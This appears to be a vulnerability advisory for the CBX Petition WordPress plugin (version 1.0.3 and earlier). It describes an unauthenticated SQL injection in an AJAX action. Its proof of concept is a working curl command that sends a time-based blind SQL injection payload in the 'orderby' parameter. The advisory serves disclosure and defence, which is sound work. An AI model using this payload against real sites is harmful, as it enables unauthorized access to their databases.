WordPress Plugin Vulnerabilities
CBX Petition for WordPress <= 1.0.3 - Unauthenticated SQLi
Description
The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
Proof of Concept
1. Create and publish a new petition.
2. Invoke the following curl command, with the nonce in place, to induce a 5-second sleep:
curl -i 'http://127.0.0.1:7777/wp-admin/admin-ajax.php?action=cbxpetition_load_more_signs&security=<NONCE HERE>' \
--data 'petition_id=2133&perpage=30&order=xxxxxxxxx&page=2&orderby=id AND (SELECT 4657 FROM (SELECT(SLEEP(5)))kvyf)'
